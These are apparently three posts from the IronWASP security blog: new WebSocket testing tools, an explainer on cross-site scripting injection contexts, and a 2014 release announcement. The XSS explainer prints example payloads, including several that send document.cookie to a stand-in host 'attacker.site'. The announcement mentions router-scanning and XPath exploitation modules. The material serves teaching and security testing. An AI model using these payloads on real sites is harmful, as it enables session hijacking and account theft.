Thursday, November 27, 2014

Analysing, Testing and Fuzzing WebSocket Implementations with IronWASP

WebSockets is an HTML5 feature that is seeing some good adaptation in newer websites. It is an asynchronous persistent full-duplex communication system and therefore is completely different from HTTP and AJAX. In some sense testing applications using WebSockets is similar to testing thick-clients using their own custom protocols because each WebSocket implementation could be designed very differently from the other.

Given how complex and unique WebSocket implementations can be and how it is difficult to properly analyse and test them using existing tools, I have tried to take a stab at the problem.

I have added five new tools to IronWASP that are dedicated to WebSocket Security Testing:

1) WebSocket Message Analyzer
An utility to analyse complex WebSocket implementations in a simple way. Check out this report of of our WebSocket Demo Application.

2) Online Cross-Site WebSocket Hijacking Tester
An online tool to easily check for CSWSH issues. Check it out here.
To understand more about Cross-Site WebSocket Hijacking check out this post on NotSoSecure

3) WebSocket Client
Versatile WebSocket client that lets you send store and send multiple messages along with setting custom Origin and Cookie headers. Perfect for checking Cross-Site WebSocket Hijacking and other WebSocket issues.

4) WebSocket Scripting API for Python and Ruby
To automated checks and write custom fuzzers for WebSocket implementations. Generic fuzzers don't work for asynchronous protocols like WebSockets.
Check out these code samples on Gist:

5) WebSocket Demo App
A sample vulnerable application that is built to use WebSockets heavily. Good test bed to test and learn WebSocket security testing.

Do check out the post I have made on NotSoSecure for more information on WebSocket Security and for the need behind making these tools.

I demos most of these tools at the Ground Zero Security conference recently and also at null Bangalore.

Here are some videos where I have tired to show how these tools can be used to test WebSocket implementations:




Some screenshots of these tools:
Menu Option to launch two of the 5 messages
Results of the WebSocket Message Analyzer

Online Cross-Site WebSocket Hijacking Tester

CSWSH Tester in action

Testing with IronWASP's WebSocket Client

Scripting with WebSocket Testing API



The WebSocket Demo Application
 
All of these tools should make WebSocket Security Testing easier than it currently is. Hope you find these useful and if you find any of them lacking in any area then do drop a comment, I will try to address those needs.

Please follow the IronWASP twitter account for all project updates.


Post by Lavakumar Kuppan

Tuesday, July 29, 2014

Contexts and Cross-site Scripting - a brief intro

Yesterday Anant posted a question in the IronWASP Facebook group asking about the different potential contexts related to XSS to better understand how context specific filtering is done. It would be hard to post the response in a comment so I am turning it in to a blog post instead.

If you are the kind of person who likes reading code instead of text then download the source code of IronWASP and check out the CrossSiteScriptingCheck.cs file in the ActivePlugins directory, this post is based on the logic IronWASP uses for its XSS check.

If user controlled input appears in some part of a web page and if this behaviour leads to the security of the site getting compromised in someway then the page is said to be affected by Cross-site Scripting. A web page is nothing but just text, the browser however does not look at it as a single monolithic blob of text, instead different sections of the page could be interpreted differently by the browser as HTML, CSS or JavaScript.

Just like the word 'date' could mean a fruit, a point in time or a romantic meeting based on the context in which it appears, the impact that user input appearing in the page can have would depend on the context in which the browser tries to interpret the user input. I will try to list out the different contexts in which user input can occur in a web page.


1) Simple HTML Context

In the body of an existing HTML tag or at the start and end of the page outside of the <html> tag.

<some_html_tag> user_input </some_html_tag>

In this context you can enter any kind of valid HTML in the user input and it would immediately be rendered by the browser, its an executable context.

Eg: <img src=x onerror=alert(1)>


2) HTML Attribute Name Context

Inside the opening HTML tag, after tag name or after an attribute value.

<some_html_tag user_input some_attribute_name="some_attribute_value"/>

 In this context you can enter an event handler name and JavaScript code following an = symbol and we can have code execution, it can be considered to be an executable context.

Eg: onclick="alert(1)"


3) HTML Attribute Value Context
 
Inside the opening HTML tag, after an attribute name separated by an = symbol.
 
<some_html_tag some_attribute_name="user_input" />
<some_html_tag some_attribute_name='user_input' />
<some_html_tag some_attribute_name=user_input />
 
There are three variations of this context:
- Double quoted attribute
- Single quoted attribute
- Quote less attribute

Code execution in this context would depend on the type of attribute in which the input appears. There are different types of attributes:

a) Event attributes

These are attributes like onclick, onload etc and the values of these attributes are executed as JavaScript. So anything here is the same as JavaScript context.

b) URL attributes

These are attributes that take URL as a value, for example src attribute of different tags. Entering a JavaScript URL here could lead to JavaScript execution

Eg: javascript:some_javascript()

c) Special URL attributes

These are URL attributes where entering a regular URL can lead to security issues.
Some examples are:
<script src="user_input"
<iframe src="user_input"
<frame src="user_input"
<link href="user_input"
<object data="user_input"
<embed src="user_input"
<form action="user_input"
<button formaction="user_input"
<base href="user_input"
<a href="user_input"

Entering just an absolute http or https URL in these cases could affect the security of the website. In some cases if it is possible to upload user controlled data on to the server then even entering relative URLs here would lead to a problem. Some sites might strip off http:// and https:// from the values entered in these attributes to prevent absolute URLs from being entered but there are many ways in which an absolute URL can be specified.

d) META tag attributes

Meta tags like Charset can be influence how the contents of the page are interpreted by the browser. And then there is the http-equiv attribute, it can emulating the behaviour of HTTP response headers. Influencing the values of headers like Content-Type, Set-Cookie etc will have impact on the security of the page.

e) Normal attributes

If the input appears in a normal attribute value then this context must be escaped to lead to code execution. If the attribute is quoted then the corresponding quote must be used to escape the context. In case of unquoted attributes space or backslash should do the job. Once out of this context a new event handler can be added to lead to code execution.

Eg:
" onclick=alert(1)
' onclick=alert(1)
 onclick=alert(1)


4) HTML Comments Context

Inside the comments section of HTML

<!-- some_comment  user_input some_comment -->

This is a non-executable context and it is required to come out this context to execute code. Entering a --> would terminate this context and switch any subsequent text to HTML context.

Eg: --><img src=x onerror=alert(1)>


5) JavaScript Context

Inside the JavaScript code portions of the page.

<script>
some_javascript
user_input
some_javascript
</script>

This applies to the section enclosed by the SCRIPT tags, in event handler attributes values and in URLs preceding with javascript: .

Inside JavaScript user input could appear in the following contexts:
a) Code context
b) Single quoted string context
c) Double quoted string context
d) Single line comment context
e) Multi-line comment context
f) Strings being assigned to Executable Sinks

If user input is between SCRIPT tags then, no matter in which of the above contexts it appears you can switch to the HTML context simply by including a closing SCRIPT tag and then insert any HTML.

Eg: </script><img src=x onerror=alert(1)>

If you are not going to switch to HTML context then you have to tailor the input depending on the specific JavaScript context it appears in.

a) Code Context

function dev_func(input) {some_js_code}
dev_func(user_input);
some_variable=123;

This is an executable context, user input directly appears as an expression and you can directly enter JavaScript statements and they will be executed.

Eg: $.post("http://attacker.site", {'cookie':document.cookie}, function(){})//

b) Single quoted string context

var some_variable='user_input';

This is a non-executable context and the user input must include a single quote at the beginning to switch out of the string context and enter the code context..

Eg: '; $.post("http://attacker.site", {'cookie':document.cookie}, function(){})//

c) Double quoted string context

var some_variable="user_input";

This is a non-executable context and the user input must include a double quote at the beginning to switch out of the string context and enter the code context..

Eg: "; $.post("http://attacker.site", {'cookie':document.cookie}, function(){})//

d) Single-line comment context

some_js_func();//user_input

This is a non-executable context and the user input must include a new line character to terminate the single line comment context and switch to the code context..

Eg: \r\n$.post("http://attacker.site", {'cookie':document.cookie}, function(){})//

e) Multi-line comment context

some_js_func();
/*
user_input
*/
some_js_code

This is a non-executable context and the user input must include*/ to terminate the multi-line comment context and switch to the code context..

Eg: */$.post("http://attacker.site", {'cookie':document.cookie}, function(){})//

f) Strings being assigned to Executable Sinks

These are single quoted or double quoted string contexts but the twist is that these strings are passed to a function or assigned to a property that would treat this string as executable code.

Some examples are:
eval("user_input");
location = "user_input";
setTimeout(1000, "user_input");
x.innerHTML = "user_input";

For more sinks refer the DOM XSS wiki.

This should be treated similar to Code context.

6) VB Script Context

This is very rare these days but still there might be that odd site that uses VBScript.

<script language="vbscript" type="text/vbscript">
some_vbscript
user_input
some_vbscript
</script>

Like JavaScript, you could switch out to HTML context with the </SCRIPT> tag.

Inside VBScript user input could appear in the following contexts:
a) Code context
b) Single-line comment
c) Double quoted string context
d) Strings being assigned to Executable Sinks

a) Code Context
Similar to its JavaScript equivalent, you can directly enter VBScript

b) Single-line comment
VBScript only has single-line comments and similar to its JavaScript equivalent entering a new line character will terminate the comment context and switch to code context

c) Double quoted string
Similar to its JavaScript equivalent

d) Strings being assigned to Executable Sinks
Similar to its JavaScript equivalent

7) CSS Context

Inside the CSS code portions of the page.

<style>
some_css
user_input
some_css
</style>

This applies to the section enclosed by the STYLE tags and in style attributes values.

Injecting CSS in to a page itself could have some kind of impact of the page. For example, by changing the location, visibility, size and z-index of the elements in a page it might be possible to make the user perform an action different from what they think they are doing.

But the more interesting aspect is in how JavaScript can be executed from within CSS. Though, not possible in modern browsers older browser did support JavaScript execution in two ways.

i. expression property
expression is a Internet Explorer only feature that allows execution of JavaScript embedding inside CSS.

css_selector
{
  property_name: expression(some_javascript);
}

ii. JavaScript URLs
Some CSS properties like the background-image property take an URL as their value. In older browsers, entering a JavaScript URL here would result in JavaScript code being executed.

css_selector
{
background-image: javascript:some_javascript()
}

Inside CSS, user input could appear in the following contexts:
a) Statement context
b) Single quoted/Double quoted string context
c) Multi-line comment context
d) Strings being assigned to Executable Sinks

Similar to the SCRIPT tag, if user input is between STYLE tags then you can switch to the HTML context simply by including a closing STYLE tag and then insert any HTML.

Eg: </style><img src=x onerror=alert(1)>

If you are not going to switch to HTML context then you have to tailor the input depending on the specific CSS context it appears in.

a) Statement Context

In this context you can directly start including CSS to modify the page for a social engineering attack or make use of expression property or the JavaScript URL method to inject JavaScript code.

b) Single quoted/Double quoted string context

Including a single or double quote at the start of the input would terminate the string context and switch to statement context.

c) Multi-line comment context

Similar to JavaScript multi-line comment, entering */ would terminate the comment context and switch to statement context.

d) Strings being assigned to Executable Sinks

This is a single-quoted are double-quoted string that is either passed to the expression property or a property that takes an URL like background-image. In both cases the data inside the string context can be interpreted as JavaScript code by the browser.



Though I have mentioned the standard ways to escape out of the different contexts, these are by no means the only ways. There are plenty of browser quirks that allow escaping out of contexts in strange ways. To find out about them I would recommend you get the Web Application Obfuscation book and also refer the HTML5 Security Cheatsheet and the fuzz results of Shazzer.

There is a good chance you might already know about OWASP's XSS Prevention CheatSheet, you might also find this other XSS Protection Cheat Sheet to be useful.
 

Monday, April 14, 2014

IronWASP 2014 is finally here!

IronWASP 2014 is finally here and it is packed with features to help make your life easy.

Here's what is new:

1) Login recording
Now you can easily just record a login sequence and use it in vulnerability scans and other automated tests. See video tutorial.

2) Automatically testing for CSRF, Broken Authentication, Privilege Escalation and Hidden Parameters
Now IronWASP has a new section called Interactive Testing tools that let you automatically discover vulnerabilities that could only be discovered by manual testing.
See video tutorials for CSRF Tester, Broken Authentication Tester, Hidden Parameter Tester and Privilege Escalation Tester

3) Browser pre-configured for Manual Crawling
The most common problem with intercepting proxies is that you have to change your browser's proxy settings and import the tool's certificate as a trusted CA for SSL traffic. Even after doing this there is change that traffic from your regular browsing will get mixed with your test traffic. IronWASP solves all of these problems, it comes with a browser pre-configured to use IronWASP as proxy, it handles SSL certificate errors automatically (no need to import as CA) and since this is a separate browser it does not affect the regular browsing that you are doing in your other browser. See video.

4) DOM XSS Analyzer
If you understand what DOM XSS sources and sinks are and have the ability to understand and analyse JavaScript code then you will find this new utility really useful. It makes the process of discovering DOM XSS really easy for manual testers. See video tutorial.

5) XmlChor - XPATH Injection Exploitation tool
This version comes with a new Module called XmlChor written by Harshal Jamdade. This module can be used to automatically exploit XPATH Injection vulnerabilities and extract the backend XML file from the server. See video tutorial.

6) WiHawk - WiFi Router Vulnerability Scanner
There version has one more awesome module called WiHawk written by Anamika Singh. This module can be used to scan a range of IP addresses for WiFi routers that have default password and authentication bypass vulnerabilities. It also supports Shodan API to scan large number of devices on the internet. See video tutorial.

Also we have a new logo for IronWASP, thanks to Ranjeet Sengar.



There are a huge number of other additions that make the overall user experience better. I have made a lot of improvements to this version based on user feedback. So keep those feedback coming and the next version will be even better than this one!